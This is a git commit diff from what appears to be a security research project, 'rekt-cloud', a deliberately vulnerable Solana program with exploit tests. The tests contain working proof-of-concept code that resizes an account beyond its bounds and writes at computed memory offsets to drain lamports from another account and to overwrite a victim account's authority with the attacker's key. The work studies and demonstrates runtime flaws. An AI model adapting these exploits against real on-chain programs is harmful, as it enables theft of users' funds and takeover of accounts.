Arrowana · Arrowana · Dec 11, 2022
diff --git a/README.md b/README.md
@@ -14,7 +14,7 @@ Somehow test have to be run in the root with `BPF_OUT_DIR=$(pwd)/target/deploy c
 
 ## Manipulate lamport fields to steal lamports from an unexpected program owned account
 
-[programs/rekt-cloud/tests/test_rekt.rs](programs/rekt-cloud/tests/test_rekt.rs)
+[programs/rekt-cloud/tests/test_rekt.rs test_steal_lamports](programs/rekt-cloud/tests/test_rekt.rs)
 
 ```
 [2022-12-11T05:33:09.931917557Z DEBUG solana_runtime::message_processor::stable_log] Program log: Welcome to Rekt cloud
@@ -33,7 +33,7 @@ Stolen lamports: 6960890880
 
 ## Manipulate program owned account data
 
-TODO
+[programs/rekt-cloud/tests/test_rekt.rs test_overtake_storage_authority](programs/rekt-cloud/tests/test_rekt.rs)
 
 ## Remote code execution
 

diff --git a/programs/rekt-cloud/src/lib.rs b/programs/rekt-cloud/src/lib.rs
@@ -1,5 +1,5 @@
 use borsh::{BorshSerialize, BorshDeserialize};
-use solana_program::{declare_id, msg, entrypoint::ProgramResult, account_info::{AccountInfo, next_account_info}, pubkey::Pubkey, borsh::try_from_slice_unchecked, program_error::ProgramError};
+use solana_program::{declare_id, msg, entrypoint::ProgramResult, account_info::{AccountInfo, next_account_info}, pubkey::Pubkey, borsh::try_from_slice_unchecked, program_error::ProgramError, system_program};
 use solana_program::entrypoint;
 
 declare_id!("RektC1oud1111111111111111111111111111111112");
@@ -9,6 +9,7 @@ pub enum Action {
     Initialize,
     Write { offset: u64, data: Vec<u8> },
     Resize { size: u64 },
+    Close,
 }
 
 #[derive(BorshSerialize, BorshDeserialize)]
@@ -85,6 +86,21 @@ pub fn process_instruction(
 
                 storage.realloc(size as usize, false)?;
             }
+            Action::Close => {
+                msg!("Closing {}...", storage.key);
+                let storage_authority = Pubkey::new(&storage.data.borrow()[0..32]);
+                if &storage_authority != authority.key {
+                    msg!("Storage account authority is {} not {}", storage_authority, authority.key);
+                    return Err(ProgramError::InvalidAccountData);
+                }
+
+                **authority.lamports.borrow_mut() = authority.lamports()
+                    .checked_add(storage.lamports())
+                    .ok_or(ProgramError::Custom(0))?;
+                **storage.lamports.borrow_mut() = 0;
+                storage.assign(&system_program::ID);
+                storage.realloc(0, false)?;
+            }
         }
     }
 

diff --git a/programs/rekt-cloud/tests/test_rekt.rs b/programs/rekt-cloud/tests/test_rekt.rs
@@ -1,6 +1,6 @@
 use borsh::BorshSerialize;
 use rekt_cloud::{Update, Action};
-use solana_program::{system_instruction, instruction::AccountMeta, entrypoint::MAX_PERMITTED_DATA_INCREASE};
+use solana_program::{system_instruction, instruction::AccountMeta, entrypoint::MAX_PERMITTED_DATA_INCREASE, pubkey::Pubkey};
 use solana_program_test::*;
 use solana_sdk::{instruction::Instruction, signature::Keypair, signer::Signer, transaction::Transaction};
 
@@ -25,7 +25,7 @@ pub async fn process_transaction(
 }
 
 #[tokio::test]
-async fn test_rekt() {
+async fn test_steal_lamports() {
     let pt = ProgramTest::new("rekt_cloud", rekt_cloud::ID, None);
     let mut context = pt.start_with_context().await;
     let rent = context.banks_client.get_rent().await.unwrap();
@@ -72,7 +72,7 @@ async fn test_rekt() {
     let expected_lamports_after_drain = rekt_storage_pre_lamports;
 
     let rekt_storage_account_lamports_offset: u64 = 32 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker storage data
-        8 + // align (none) + rent
+        8 + // end of rekt storage account
         (1 + 7) * 4 + // 4 duplicate attacker storage accounts
         1 + 1 + 1 + 1 + 4 + 2 * 32; // all the way to account lamports
 
@@ -122,6 +122,92 @@ async fn test_rekt() {
 
     let stolen_lamports = context.banks_client.get_balance(attacker_loot_keypair.pubkey()).await.unwrap();
     println!("Stolen lamports: {}", stolen_lamports);
+    assert_eq!(rekt_storage_rent, stolen_lamports);
+}
+
+#[tokio::test]
+async fn test_overtake_storage_authority() {
+    let pt = ProgramTest::new("rekt_cloud", rekt_cloud::ID, None);
+    let mut context = pt.start_with_context().await;
+    let rent = context.banks_client.get_rent().await.unwrap();
+
+    let rekt_user_keypair = Keypair::new();
+    let update = Update {
+        actions: vec![Action::Initialize],
+    };
+
+    let space: usize = 1_000_000;
+    let rekt_storage_rent = rent.minimum_balance(space);
+
+    let rekt_storage_keypair = Keypair::new();
+    let payer_address = context.payer.pubkey().clone();
+
+    // Rekt user creates a storage of many bytes on rekt cloud
+    process_transaction(
+        &mut context,
+        &[
+            system_instruction::create_account(&payer_address, &rekt_storage_keypair.pubkey(), rekt_storage_rent, space as u64, &rekt_cloud::ID),
+            Instruction {
+                program_id: rekt_cloud::ID,
+                accounts: vec![
+                    AccountMeta::new_readonly(rekt_user_keypair.pubkey(), true),
+                    AccountMeta::new(rekt_storage_keypair.pubkey(), false),
+                ],
+                data: update.try_to_vec().unwrap(),
+            }
+        ],
+        &[&rekt_user_keypair, &rekt_storage_keypair],
+    )
+    .await
+    .unwrap();
+
+    // pawn
+    // We make ourselves the authority
+    let attacker_storage = Keypair::new();
+    let attacker_storage_rent = rent.minimum_balance(32);
+
+    let rekt_storage_account_data_offset: u64 = 32 + MAX_PERMITTED_DATA_INCREASE as u64 + // end of attacker storage data
+        8 + // align (none) + rent epoch
+        (1 + 7) * 3 + // 4 duplicate attacker storage accounts
+        1 + 1 + 1 + 1 + 4 + 2 * 32 + 8 + 8; // all the way to account data
+
+    let update_to_pawn = Update {
+        actions: vec![
+            Action::Initialize,
+            Action::Resize { size: 100_000_000 }, // data_len to have raw data access to all accounts
+            Action::Write { offset: rekt_storage_account_data_offset, data: payer_address.to_bytes().to_vec() }, // Set authority to attacker
+            Action::Resize { size: 32 }, // Write back the reasonable data_len we are paying rent for
+        ],
+    };
+
+    process_transaction(
+        &mut context,
+        &[
+            system_instruction::create_account(&payer_address, &attacker_storage.pubkey(), attacker_storage_rent, 32, &rekt_cloud::ID),
+            Instruction {
+                program_id: rekt_cloud::ID,
+                accounts: vec![
+                    AccountMeta::new_readonly(payer_address, true),
+                    AccountMeta::new(attacker_storage.pubkey(), false),
+                    AccountMeta::new(attacker_storage.pubkey(), false),
+                    AccountMeta::new(attacker_storage.pubkey(), false),
+                    AccountMeta::new(attacker_storage.pubkey(), false),
+                    // The trailing rekt storage the program writes to by accident
+                    AccountMeta::new(rekt_storage_keypair.pubkey(), false),
+                ],
+                data: update_to_pawn.try_to_vec().unwrap(),
+            }
+        ],
+        &[&attacker_storage],
+    )
+    .await
+    .unwrap();
+
+    let rekt_storage_authority_data = &context.banks_client.get_account(rekt_storage_keypair.pubkey()).await.unwrap()
+        .unwrap().data[0..32];
+    let rekt_storage_authority = Pubkey::new(rekt_storage_authority_data);
+    println!("Rekt authority is now: {}", rekt_storage_authority);
+    assert_eq!(payer_address, rekt_storage_authority);
 
-    // Done
+    // Now do whatever you feel like since you overwrote account data
 }